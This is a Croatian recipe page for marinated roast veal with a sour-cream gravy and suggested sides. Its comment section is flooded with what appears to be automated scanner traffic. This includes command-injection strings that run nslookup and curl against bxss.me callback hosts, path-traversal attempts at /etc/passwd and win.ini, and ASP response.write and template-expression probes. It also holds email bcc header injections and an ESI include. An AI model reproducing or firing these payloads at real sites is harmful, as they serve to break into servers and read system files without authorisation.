Marinada:
1l suhog crnog vina
1 list lovora
1 klinčić
1 komadić cimeta
1 očišćena raščetvorena glavica luka malo prokuhamo i ohladimo.
Operemo i temeljito obrišemo 1 teleću ružu (1,5 kg) te je natrljamo mljevenom crvenom paprikom.
Meso prelijemo marinadom i ostavimo poklopljeno 2 dana na hladnome.
Meso izvadimo iz marinade,dobro ga obrišemo i pospemo solju i paprom a marinadu procijedimo.
50 g slanine narežemo na kocke i popržimo.
Teleću ružu dobro popržimo sa svih strana na rastopljenoj slanini,dodamo luk i začine iz marinade,lagano propirjamo i dolijemo 250 ml rasola te u limu pečemo u zagrijanoj pećnici 1h i 30 minuta na 200-250° C ,meso povremeno preokrećemo i isparenu tekućinu nadomještamo marinadom.
Pirjano meso izrežemo u odreske,njih složimo na zagrijani pladanj i stavimo na toplo.
Sok od pečenja zalijemo s malo vode i marinadom,pustimo da provrije i procijedimo ga i ponovo pustimo da provrije.
2-3 žlice pune brašna i 3 žlice hladne vode pomiješamo i time zgusnemo sok od pečenja.
Posolimo i popaprimo po želji i dobro promiješamo s 3-4 žlice vrhnja.
Prilog:
Pirjani belgijski radič,krumpir s peršinom,miješana salata
Comments
Add comment555
ghovjnjv 20.11.2023 04:30
1DtAskfc56O
ghovjnjv 20.11.2023 04:31
response.write(9878933*9003380)
ghovjnjv 20.11.2023 04:31
555
1BGv26zlTxO 20.11.2023 04:31
'+response.write(9878933*9003380)+'
ghovjnjv 20.11.2023 04:31
echo wyfliv$()\ xacvjg\nz^xyu||a #' &echo wyfliv$()\ xacvjg\nz^xyu||a #|" &echo wyfliv$()\ xacvjg\nz^xyu||a #
ghovjnjv 20.11.2023 04:31
"+response.write(9878933*9003380)+"
ghovjnjv 20.11.2023 04:31
&echo dtsytl$()\ dsqjwl\nz^xyu||a #' &echo dtsytl$()\ dsqjwl\nz^xyu||a #|" &echo dtsytl$()\ dsqjwl\nz^xyu||a #
ghovjnjv 20.11.2023 04:31
555&echo dxgruq$()\ oqrnck\nz^xyu||a #' &echo dxgruq$()\ oqrnck\nz^xyu||a #|" &echo dxgruq$()\ oqrnck\nz^xyu||a #
ghovjnjv 20.11.2023 04:31
|echo lydbmx$()\ wymjie\nz^xyu||a #' |echo lydbmx$()\ wymjie\nz^xyu||a #|" |echo lydbmx$()\ wymjie\nz^xyu||a #
ghovjnjv 20.11.2023 04:31
555|echo bqiogs$()\ teills\nz^xyu||a #' |echo bqiogs$()\ teills\nz^xyu||a #|" |echo bqiogs$()\ teills\nz^xyu||a #
ghovjnjv 20.11.2023 04:31
555
response.write(9470350*9641264) 20.11.2023 04:31
(nslookup -q=cname hitapnyjwdjdyf00e3.bxss.me||curl hitapnyjwdjdyf00e3.bxss.me))
ghovjnjv 20.11.2023 04:31
555
'+response.write(9470350*9641264)+' 20.11.2023 04:31
$(nslookup -q=cname hitdxjwvkjkxbc5a31.bxss.me||curl hitdxjwvkjkxbc5a31.bxss.me)
ghovjnjv 20.11.2023 04:31
555
"+response.write(9470350*9641264)+" 20.11.2023 04:31
dmeyeedE
ghovjnjv 20.11.2023 04:31
&nslookup -q=cname hitrmxpznitsgdf2a3.bxss.me&'\"`0&nslookup -q=cname hitrmxpznitsgdf2a3.bxss.me&`'
ghovjnjv 20.11.2023 04:31
&(nslookup -q=cname hitaeckqugglbdb39c.bxss.me||curl hitaeckqugglbdb39c.bxss.me)&'\"`0&(nslookup -q=cname hitaeckqugglbdb39c.bxss.me||curl hitaeckqugglbdb39c.bxss.me)&`'
ghovjnjv 20.11.2023 04:31
|(nslookup -q=cname hitsoonhfmxlb42590.bxss.me||curl hitsoonhfmxlb42590.bxss.me)
ghovjnjv 20.11.2023 04:31
555
V5I6mDB1 20.11.2023 04:31
`(nslookup -q=cname hitcmubuwolhqc04dc.bxss.me||curl hitcmubuwolhqc04dc.bxss.me)`
ghovjnjv 20.11.2023 04:31
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 20.11.2023 04:31
;(nslookup -q=cname hitjtjegusfafd3ce4.bxss.me||curl hitjtjegusfafd3ce4.bxss.me)|(nslookup -q=cname hitjtjegusfafd3ce4.bxss.me||curl hitjtjegusfafd3ce4.bxss.me)&(nslookup -q=cname hitjtjegusfafd3ce4.bxss.me||curl hitjtjegusfafd3ce4.bxss.me)
ghovjnjv 20.11.2023 04:31
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 20.11.2023 04:31
file:///etc/passwd
ghovjnjv 20.11.2023 04:31
555
ghovjnjv 20.11.2023 04:31
../555
ghovjnjv 20.11.2023 04:31
555
bcc:074625.146-178382.146.f738f.19681.2@bxss.me
ghovjnjv 20.11.2023 04:31
to@example.com>
bcc:074625.146-178383.146.f738f.19681.2@bxss.me
ghovjnjv 20.11.2023 04:31
555
ghovjnjv 20.11.2023 04:31
555
ghovjnjv bcc:074625.146-178386.146.f738f.19681.2@bxss.me 20.11.2023 04:31
555
../../../../../../../../../../../../../../etc/passwd 20.11.2023 04:31
555
to@example.com> bcc:074625.146-178387.146.f738f.19681.2@bxss.me 20.11.2023 04:31
555
../../../../../../../../../../../../../../windows/win.ini 20.11.2023 04:31
555
file:///etc/passwd 20.11.2023 04:31
12345'"\'\");|]*{
ghovjnjv 20.11.2023 04:31
555
ghovjnjv 20.11.2023 04:31
555
echo cchsob$()\ pqbdjy\nz^xyu||a #' &echo cchsob$()\ pqbdjy\nz^xyu||a #|" &echo cchsob$()\ pqbdjy\nz^xyu||a # 20.11.2023 04:31
555
../ghovjnjv 20.11.2023 04:31
555
&echo krnrjf$()\ ypmmsr\nz^xyu||a #' &echo krnrjf$()\ ypmmsr\nz^xyu||a #|" &echo krnrjf$()\ ypmmsr\nz^xyu||a # 20.11.2023 04:31
555
ghovjnjv 20.11.2023 04:31
555
ghovjnjv&echo urhqtr$()\ pqqgzg\nz^xyu||a #' &echo urhqtr$()\ pqqgzg\nz^xyu||a #|" &echo urhqtr$()\ pqqgzg\nz^xyu||a # 20.11.2023 04:31
555
|echo nbmebj$()\ woyszs\nz^xyu||a #' |echo nbmebj$()\ woyszs\nz^xyu||a #|" |echo nbmebj$()\ woyszs\nz^xyu||a # 20.11.2023 04:31
555
ghovjnjv<esi:include src="http://bxss.me/rpb.png"/> 20.11.2023 04:31
555
ghovjnjv|echo zmehtm$()\ lxcigv\nz^xyu||a #' |echo zmehtm$()\ lxcigv\nz^xyu||a #|" |echo zmehtm$()\ lxcigv\nz^xyu||a # 20.11.2023 04:31
${9999710+9999673}
ghovjnjv 20.11.2023 04:31
555
(nslookup -q=cname hitlxiulegzew8930e.bxss.me||curl hitlxiulegzew8930e.bxss.me)) 20.11.2023 04:31
555
$(nslookup -q=cname hituyvprjrcrj386dd.bxss.me||curl hituyvprjrcrj386dd.bxss.me) 20.11.2023 04:31
555
${9999617+9999730} 20.11.2023 04:31
555
&nslookup -q=cname hitygyjyqbbbg99dc8.bxss.me&'\"`0&nslookup -q=cname hitygyjyqbbbg99dc8.bxss.me&`' 20.11.2023 04:31
555
&(nslookup -q=cname hitykoksvqbrrfdddd.bxss.me||curl hitykoksvqbrrfdddd.bxss.me)&'\"`0&(nslookup -q=cname hitykoksvqbrrfdddd.bxss.me||curl hitykoksvqb 20.11.2023 04:31
555
12345'"\'\");|]* { <